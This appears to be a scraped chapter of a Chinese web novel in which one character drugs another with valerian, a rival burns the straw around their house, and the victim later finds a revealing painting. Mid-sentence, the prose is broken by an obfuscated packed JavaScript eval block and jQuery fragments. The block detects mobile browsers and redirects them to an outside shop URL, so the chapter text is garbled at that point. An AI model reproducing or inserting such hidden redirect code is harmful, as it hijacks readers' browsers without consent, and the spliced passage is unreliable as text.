48
等到程雀枝的呼吸彻底平稳,柯玉树推开他,起身清洗了保温杯,再把原本装着缬草的空瓶放在桌面上。
做完这一切,柯玉树又回到客厅静静等候,听着程雀枝有规律的呼吸声,不知道在想什么。
约莫半小时后,程雀枝的手机响了,柯玉树拿起接听。
“喂?”
“离门远一些。”程诲南说。
柯玉树挂断电话,转头面向门口,下一刻,剧烈的声响猛然炸开在他耳边,一声比一声大。木质结构的门板破裂,夹杂着电锯的声音,惊天动地。
被药倒的程雀枝睡得很安稳。
电锯声持续了一段时间,应该是大门被开了个洞,原本被门隔断在外的声音豁然清晰,叮叮当当的锁头撞击声,也随着十几把锁落地而消失,电锯声同时也停了下来。
男人拉开破破烂烂的门,笑着说:“小柯,跟我走?”
程雀枝之前也是这么破门的。
柯玉树站了起来。
“走吧。”
柯玉树拄着盲杖出门,没有丝毫留恋地跟着程诲南上了车,只是在离开这间屋子的时候,他像是被寒风吹得有些发冷,瑟缩了一下。
程诲南取下脖子上的围巾,想给柯玉树戴上,柯玉树拒绝,程诲南依旧脸色不变,说:“是程栖山的围巾。”
柯玉树将信将疑:“真的?”
“我没事骗你做什么。”
“什么颜色?”
“正红。”
柯玉树:“……”
他戴上了程诲南的围巾,上面还带着男人的体温,见状,程诲南脸上勾起一个势在必得的笑容。
“点火!”
片刻后稻草堆被尽数点燃,旁边的山道上也倒着可燃的木柴,程诲南带来的人把油一桶接一桶地泼上去,火焰瞬间蔓延,顿时,屋外火光冲天。
车队扬长而去。
程诲南坐在柯玉树旁边,轻笑:“小柯,你不阻止我吗?”
柯玉树淡淡回道:“为什么要阻止你?我和程雀枝本来没什么关系,不过是他欺骗罢了。”
他看上去对这里毫无留恋,绕是程诲南都觉得柯玉树有些冷情冷性,挑眉:“你居然猜到了他的身份?真聪明,不过我以为你至少会和他……”
“外界都在传我抄袭他。”柯玉树打断,“还能跟他怎么样?”
没有人会对一个冤枉自己的人产生好感,程诲南一愣,解释:“我和他都知道你并没有抄袭。”
程雀枝怎么样他无所谓,要是他在柯玉树这里的印象分没了,他可是要气得撞墙。
“有意义吗?”柯玉树反问。
这问题确实是把程诲南问到了,他一时间竟不知道该说什么,柯玉树也没有再开口。
只是车队拐过半山腰的时候,柯玉树忽然回头望向那座小屋,火光在他双眼中跳动闪烁,冲天的稻草灰烬将天空掩埋,火光掩映中巍峨的房屋都有些扭曲,一切都那么令人胆战心惊。
柯玉树眼眸闪了闪,然后收回目光,对着在发呆的程诲南说:“带我去见程栖山。”
程诲南回过神来,惊奇:“你凭什么以为我会带你去见他?小柯,这世上可没有白吃的午餐。”
“他应该给了你什么好处,否则你不会翻山越岭来救我,”柯玉树淡定地猜:“难道说你对我另有所图?程先生,我想我们应该没怎么说过话吧?”
程诲南脸色变了又变,甚至扭曲了一瞬,他确实不敢告诉柯玉树自己之前跟他的相处,只能捏着鼻子认了。
“没有,不图你什么,不过小柯,你为什么会认为是他让我来救你?”
感情他这么勤勤恳恳把柯玉树救出来,柯玉树却以为是程栖山那个死鬼做的?
被冒名顶替的感觉十分不爽,程诲南忽然和程雀枝共感了,他可不会任由这种事发生。
“不然,你为什么会救我?”
“不然,我为什么会跟你走?”
两个问题,直接把程诲南堵的哑口无言,他气得牙痒痒,指甲都没入了掌心,但还是回答:“行,我带你去见他。”
声音咬牙切齿,心里的阴暗面也逐渐滋生,果然,以程诲南的身份接近柯玉树根本行不通,他必须要程栖山这个敲门砖,否则根本无法靠近柯玉树!
他认定的完美伴侣怎么是个死脑筋?
程诲南一时间差点又被自己气笑了,不过没关系,即便用程栖山的身份又如何?他不像程雀枝那个废物,这么长的时间都没把柯玉树骗到手,他有无数方法让柯玉树对自己动心,然后彻底抹除掉程栖山的痕迹。
程诲南眼中的信念逐渐坚定起来。
他可是万花丛中过,片叶不沾身的程诲南!
……
程雀枝是被烟火呛醒的。
他被转移到了车里,头晕眼花,身体没有哪一处是正常的。
车外,下属正在着急忙慌地灭火,程雀枝眯了眯眼睛,看清楚燃起来的居然是自己家,登时坐不住了,猛然推开车门大喊:“这是怎么回事?玉树呢?!”
下属小声解释:“放心,老板,火没有烧进屋,只是外面的稻草堆和木材被点燃了。”
程雀枝这才看清楚外的状况,几乎所有下属都赶到了这间屋子。
所以……是谁引他们过来的?
“关口留人没有?”程雀枝问。
“关口留的两个人已经完全失联了。”下属回答。
程雀枝呼吸一滞,他忽然有种不祥的预感,把所有人看了一遍,却没有看到自己想见的那个人。
“玉树呢?柯玉树呢?!”
程雀枝大喊大叫,灭火的下属们面面相觑,终于是程雀枝最信任的助理站了出来。
“老板,我们到的时候,柯先生就已经失踪了。”
程雀枝已完全不信,他不顾屋后还在燃烧的稻草堆,强撑着身体跌跌撞撞回屋。
客厅、厨房和花园都没有见到柯玉树,他又想上楼,却没想到一脚踩空,扑通一声跪倒在地,传出一声惊天动地的响声。
“老板?!”
助理连忙过来把程雀枝扶起来,程雀枝的脑袋磕到了楼梯扶手上,顿时头破血流,但他依旧不管不顾,让助理扶着自己把二楼找遍,都没有找到柯玉树。
最后,程雀枝停在画室前,看着空空荡荡的屋子,字字泣血:“程!诲!南!”
下药、放火、偷人,这些手段他不用想都知道是程诲南干的!明明已经他开始接受自己,明明他已经打算向柯玉树坦白一切,玉树甚至还准备了惊喜。
为何一觉醒来事情会发展成这样?
程诲南,你这个畜生,为什么要抢走他!
程雀枝的呼吸越来越急促,鼻子一堵,鲜红的鼻血开始滴滴答答向下流,手下人吓得魂飞魄散,程雀枝却没叫医生,只是有些出神地站在画室门口。
他忽然想到那杯让他昏过去的奶茶。
“让你们查的牧民,结果呢?”
助理回答:“老板,那牧民身份是干净的,没有被任何人收买,也不知道这里的位置。”
就连助理他们都是看到山腰上着火,才找到这里的,程先生怎么会比他们先一步找到这里?
程雀枝像是想到了什么,不可置信地睁大眼,又一口血喷了出来,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079771|193043||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大叫一声:“不可能!他怎么可能没被收买?!”
烟尘和血液堵在喉咙,程雀枝被呛了个昏天黑地,咳嗽声一声比一声大,感觉随时都有可能死去,听得在场所有人都屏住了呼吸。
“老板,确实没有。”助理回答。
程雀枝脸都气红了,怒气已经完全占据了他的大脑,他冲进画室狂砸桌椅,颜料、铅笔甚至连他自己的画架都被他砸了个稀巴烂。
“不可能,如果牛奶没有问题,为什么我会昏这么久?程诲南!程诲南你个老畜生,年纪这么大,老了就给我就去死啊!我要杀了你啊啊啊啊!”
他在画室发疯,却唯独没有伤到柯玉树的画架,手下人在门外噤若寒蝉,等到程雀枝有些脱力,助理才缓缓告诉他真相。
“老板,桌上有已经用尽了的药品,之前买颜料的时候我们都忘了查,那瓶黄色的颜料有安眠作用,名字是……缬草。”
程雀枝猛然僵硬在了原地,随即又像是不能接受那样,捂住自己的耳朵,对着助理咬牙切齿:“滚!给我滚出去!滚啊!”
助理叹了口气,带着其余人离开二楼,远离暴怒的程二少爷,以免闹出人命来。
他们虽然都忠于程雀枝,但不至于把自己的命搭进去。程二少爷从前的身体就挺好,虽然这段时间被糟蹋了个七七八八,但不至于把自己气死,助理打算等人晕了之后再送到医院抢救。
画室内,程雀枝跪坐在一片废墟里,唯一完好的是柯玉树的画架。
他抬头看着画架,柯玉树走之前从说,这是他为他准备的惊喜,程雀枝期待了很久,现在惊喜被防尘布遮住,程雀枝又忽然不敢揭开。
旁边放着他亲自带回来的颜料,程雀枝的眼神在所有颜料上扫过,发现这些颜料都被柯玉树用过,只有一种颜色不知所踪。
奶茶中奇怪的味道、柯玉树温柔的嗓音不断在他脑海盘旋,程雀枝不愿相信,于是手脚并用爬到画架面前,顿时眼前发黑,他握住画架腿,想要借力将自己的身体撑起来。
“呃——”
画架因多次运输而磨损,下半部分因不堪重负折断,程雀枝也随之跌倒在地上,顿时摔得头晕眼花,又喷出一口血来。
那幅被防尘布盖得严严实实的画也摇摇欲坠,在程雀面前不断盘旋摇晃,千钧一发之际,程雀枝用身体接住了画。
绷好的画砸在程雀枝身上,他差点又喷出一口血来,却怕鲜血污染了画作,只好强行咽回。
一阵寒风吹开防尘布,程雀枝垂眸,惊鸿一瞥,瞳孔顿时剧烈收缩。
他连忙翻身起来,跪在地上,捧着那幅画,即便血流了一地,画上也没有沾染到一点污渍。
“这幅画……”
程雀枝嘴唇颤抖,因为画上绘制了一个落水的人,在冰天雪地里,蓝白、紫红和金黄交织,全都是不同寻常的颜色。作画之人用大胆的手法将这些颜色拼接起来,线条灵动流畅,笔触间的灵气几乎要溢出来。
“这里是……”
他和柯玉树第一次去冰钓的雪山,还有这作画的手法,是程雀枝前十余年刻在心里、属于偶像的手法。
是……Ye先生独有的绘画手法,却出现在了柯玉树的画上。
程雀枝又咽下涌到胸膛的血,忽然大笑。
“哈哈哈哈,玉树!柯玉树!为什么!!!”
他把画举过头顶,对着光,热泪大滴大滴落在地上,泪眼朦胧间,他终于看清了画中人的模样。
是他。
是他啊。
是他,程雀枝!
终于,一口发黑的血喷溅在墙上,程雀枝两眼一黑,彻底晕死了过去。